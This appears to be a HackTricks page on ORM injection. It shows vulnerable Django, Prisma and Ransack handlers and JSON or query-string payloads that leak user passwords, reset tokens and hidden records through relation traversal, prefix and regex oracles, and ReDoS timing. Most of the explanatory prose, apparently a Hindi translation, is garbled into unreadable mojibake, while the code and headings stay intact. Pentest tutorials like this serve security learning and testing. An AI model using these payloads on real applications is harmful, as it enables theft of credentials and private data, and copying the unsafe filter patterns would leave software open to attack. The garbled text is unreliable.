hacktricks/pentesting-web/orm-injection.md

17 KiB

ORM Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Django ORM (Python)

In this post рдпрд╣ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдХреИрд╕реЗ рдПрдХ Django ORM рдХреЛ рдХрдордЬреЛрд░ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬреИрд╕реЗ:

class ArticleView(APIView):
"""
рдХреБрдЫ рдмреБрдирд┐рдпрд╛рджреА API рджреГрд╢реНрдп рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЖрд░реНрдЯрд┐рдХрд▓ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рднреЗрдЬрддреЗ рд╣реИрдВ
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╕рднреА request.data (рдЬреЛ рдПрдХ json рд╣реЛрдЧрд╛) рдХреЛ рд╕реАрдзреЗ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдлрд╝рд┐рд▓реНрдЯрд░ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрд╕рд╕реЗ рдЕрдкреЗрдХреНрд╖рд┐рдд рд╕реЗ рдЕрдзрд┐рдХ рдбреЗрдЯрд╛ рд▓реАрдХ рд╣реЛ рд╕рдХреЗред

рдЙрджрд╛рд╣рд░рдг:

  • рд▓реЙрдЧрд┐рди: рдПрдХ рд╕рд╛рдзрд╛рд░рдг рд▓реЙрдЧрд┐рди рдореЗрдВ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рд▓реАрдХ рдХрд░реЗрдВ рдЬреЛ рдЗрд╕рдХреЗ рдЕрдВрджрд░ рдкрдВрдЬреАрдХреГрдд рд╣реИрдВред
{
"username": "admin",
"password_startswith":"a"
}

{% hint style="danger" %} рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬрдм рддрдХ рдХрд┐ рдпрд╣ рд▓реАрдХ рди рд╣реЛ рдЬрд╛рдПред {% endhint %}

  • рд╕рдВрдмрдВрдзрд╛рддреНрдордХ рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ: рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рд╕рдВрдмрдВрдзреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╛рддреНрд░рд╛ рдХреА рдЬрд╛рдП рдЬреЛ рдСрдкрд░реЗрд╢рди рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдирд╣реАрдВ рдХреА рдЧрдИ рдереАред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдП рдЧрдП рд▓реЗрдЦреЛрдВ рдХреЛ рд▓реАрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЬрд┐рдирдХреЗ рдпреЗ рд╕рдВрдмрдВрдз рд╣реИрдВ: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password)ред
{
"created_by__user__password__contains":"pass"
}

{% hint style="danger" %} рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЙрди рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХреЗ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдПрдХ рд▓реЗрдЦ рдмрдирд╛рдпрд╛ рд╣реИ {% endhint %}

  • Many-to-many relational filtering: рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд╣рдо рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдирд╣реАрдВ рдЦреЛрдЬ рд╕рдХреЗ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдПрдХ рд▓реЗрдЦ рдирд╣реАрдВ рдмрдирд╛рдпрд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЕрдиреНрдп рд╕рдВрдмрдВрдзреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реБрдП рдпрд╣ рд╕рдВрднрд╡ рд╣реИред рдЙрджрд╛рд╣рд░рдг: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith":"admi"
}

{% hint style="danger" %} рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд╣рдо рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд╡рд┐рднрд╛рдЧреЛрдВ рдореЗрдВ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдвреВрдВрдв рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рд▓реЗрдЦ рдмрдирд╛рдП рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдЙрдирдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рд▓реАрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдкрд┐рдЫрд▓реЗ json рдореЗрдВ рд╣рдо рдХреЗрд╡рд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рд▓реАрдХ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдлрд┐рд░ рдкрд╛рд╕рд╡рд░реНрдб рд▓реАрдХ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ)ред {% endhint %}

  • рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд╕рд╛рде Django Group рдФрд░ Permission рдХреЗ many-to-many рд╕рдВрдмрдВрдзреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ: рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, AbstractUser рдореЙрдбрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ Django рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЗрд╕ рдореЙрдбрд▓ рдореЗрдВ рдХреБрдЫ Permission рдФрд░ Group рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдХреЗ рд╕рд╛рде many-to-many рд╕рдВрдмрдВрдз рд╣реЛрддреЗ рд╣реИрдВред рдЬреЛ рдореВрд▓ рд░реВрдк рд╕реЗ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдПрдХ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рддрд░реАрдХрд╛ рд╣реИ рдпрджрд┐ рд╡реЗ рдПрдХ рд╣реА рд╕рдореВрд╣ рдореЗрдВ рд╣реИрдВ рдпрд╛ рд╕рдорд╛рди рдЕрдиреБрдорддрд┐ рд╕рд╛рдЭрд╛ рдХрд░рддреЗ рд╣реИрдВред
# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • рдлрд┐рд▓реНрдЯрд░ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ: рдЙрд╕реА рдмреНрд▓реЙрдЧрдкреЛрд╕реНрдЯ рдиреЗ рдХреБрдЫ рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рд╕реНрддрд╛рд╡ рджрд┐рдпрд╛ рдЬреИрд╕реЗ articles = Article.objects.filter(is_secret=False, **request.data)ред рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рд╣рдо рдЙрди рд▓реЗрдЦреЛрдВ рдХреЛ рдбрдВрдк рдХрд░реЗрдВ рдЬрд┐рдирдХрд╛ is_secret=True рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╣рдо рдПрдХ рд╕рдВрдмрдВрдз рд╕реЗ Article рддрд╛рд▓рд┐рдХрд╛ рдореЗрдВ рд╡рд╛рдкрд╕ рд▓реВрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЧреИрд░-рдЧреЛрдкрдиреАрдп рд▓реЗрдЦреЛрдВ рд╕реЗ рдЧреЛрдкрдиреАрдп рд▓реЗрдЦреЛрдВ рдХреЛ рд▓реАрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдкрд░рд┐рдгрд╛рдо рдЬреБрдбрд╝реЗ рд╣реБрдП рд╣реИрдВ рдФрд░ is_secret рдлрд╝реАрд▓реНрдб рдЧреИрд░-рдЧреЛрдкрдиреАрдп рд▓реЗрдЦ рдореЗрдВ рдЬрд╛рдВрдЪреА рдЬрд╛рддреА рд╣реИ рдЬрдмрдХрд┐ рдбреЗрдЯрд╛ рдЧреЛрдкрдиреАрдп рд▓реЗрдЦ рд╕реЗ рд▓реАрдХ рд╣реЛрддрд╛ рд╣реИред
Article.objects.filter(is_secret=False, categories__articles__id=2)

{% hint style="danger" %} рд░рд┐рд╢реНрддреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдбреЗрдЯрд╛ рджрд┐рдЦрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдП рдЧрдП рдлрд╝рд┐рд▓реНрдЯрд░реЛрдВ рдХреЛ рднреА рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред {% endhint %}

  • Error/Time based via ReDoS: рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдпрд╣ рдЕрдкреЗрдХреНрд╖рд┐рдд рдерд╛ рдХрд┐ рдпрджрд┐ рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдХрд╛рдо рдХрд░рддреА рд╣реИ рдпрд╛ рдирд╣реАрдВ рддреЛ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рд╣реЛрдВрдЧреА, рддрд╛рдХрд┐ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдУрд░реЗрдХрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рд▓реЗрдХрд┐рди рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдХреБрдЫ рдХреНрд░рд┐рдпрд╛ рдХреА рдЬрд╛рдП рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣рдореЗрд╢рд╛ рдПрдХ рд╕рдорд╛рди рд╣реЛред рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ, рдбреЗрдЯрд╛рдмреЗрд╕ рддреНрд░реБрдЯрд┐ рдХреЛ рдирдпрд╛ рдУрд░реЗрдХрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

From te same post regarding this vector:

  • SQLite: рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ regexp рдСрдкрд░реЗрдЯрд░ рдирд╣реАрдВ рд╣реИ (рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)
  • PostgreSQL: рдбрд┐рдлрд╝реЙрд▓реНрдЯ regex рдЯрд╛рдЗрдордЖрдЙрдЯ рдирд╣реАрдВ рд╣реИ рдФрд░ рдпрд╣ рдмреИрдХрдЯреНрд░реИрдХрд┐рдВрдЧ рдХреЗ рдкреНрд░рддрд┐ рдХрдо рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ
  • MariaDB: regex рдЯрд╛рдЗрдордЖрдЙрдЯ рдирд╣реАрдВ рд╣реИ

Prisma ORM (NodeJS)

The following are tricks extracted from this post.

  • Full find control:
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

It's possible to see that the whole javascript body is passed to prisma to perform queries.

In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

рдпрд╣ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рднреА рдкреЛрд╕реНрдЯреЛрдВ рдХрд╛ рдЪрдпрди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдХрд┐рд╕реА рдиреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рдмрдирд╛рдИ рд╣реИрдВ рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рд▓реМрдЯрд╛рдПрдЧрд╛:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • рдкреВрд░реНрдг where рдХреНрд▓реЙрдЬрд╝ рдирд┐рдпрдВрддреНрд░рдг:

рдЖрдЗрдП рдЗрд╕ рдкрд░ рдирдЬрд╝рд░ рдбрд╛рд▓рддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ рд╣рдорд▓рд╛ where рдХреНрд▓реЙрдЬрд╝ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // ORM рд▓реАрдХ рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

рдпрд╣ рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})

{% hint style="danger" %} startsWith рдЬреИрд╕реЗ рдСрдкрд░реЗрд╢рдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред {% endhint %}

  • рдХрдИ-рд╕реЗ-рдХрдИ рд╕рдВрдмрдВрдз рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛:
app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});

рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ Category -[*..*]-> Article рдХреЗ рдмреАрдЪ рдХрдИ-рд╕реЗ-рдХрдИ рд╕рдВрдмрдВрдзреЛрдВ рдХреЛ рд▓реВрдк рдХрд░рдХреЗ рдкреНрд░рдХрд╛рд╢рд┐рдд рдирд╣реАрдВ рдХрд┐рдП рдЧрдП рд▓реЗрдЦреЛрдВ рдХреЛ рд▓реАрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

рдпрд╣ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд▓реАрдХ рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИ, рдХреБрдЫ рд▓реВрдк рдмреИрдХ рдХрдИ-рд╕реЗ-рдХрдИ рд╕рдВрдмрдВрдзреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries: рдореВрд▓ рдкреЛрд╕реНрдЯ рдореЗрдВ рдЖрдк рдПрдХ рдмрд╣реБрдд рд╡рд┐рд╕реНрддреГрдд рдкрд░реАрдХреНрд╖рдг рд╕реЗрдЯ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд╕рдордп рдЖрдзрд╛рд░рд┐рдд рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡реЛрддреНрддрдо рдкреЗрд▓реЛрдб рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдП рдЧрдП рд╣реИрдВред рдпрд╣ рд╣реИ:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

рдЬрд╣рд╛рдБ {CONTAINS_LIST} 1000 рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреА рдПрдХ рд╕реВрдЪреА рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рд╕рд╣реА leak рдорд┐рд▓рдиреЗ рдкрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рджреЗрд░реА рд╣реЛред

Ransack (Ruby)

рдпреЗ рддрд░рдХреАрдмреЗрдВ рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рдкрд╛рдИ рдЧрдИрдВред

{% hint style="success" %} рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ Ransack 4.0.0.0 рдЕрдм рдЦреЛрдЬ рдпреЛрдЧреНрдп рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдФрд░ рд╕рдВрдШреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐ рд╕реВрдЪреА рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред {% endhint %}

рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЙрджрд╛рд╣рд░рдг:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреНрд╡реЗрд░реА рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рднреЗрдЬреЗ рдЧрдП рдкреИрд░рд╛рдореАрдЯрд░ рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд░реАрд╕реЗрдЯ рдЯреЛрдХрди рдХреЛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

By brute-forcing and potentially relationships it was possible to leak more data from a database.

References

{% hint style="success" %} рд╕реАрдЦреЗрдВ рдФрд░ AWS рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
рд╕реАрдЦреЗрдВ рдФрд░ GCP рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}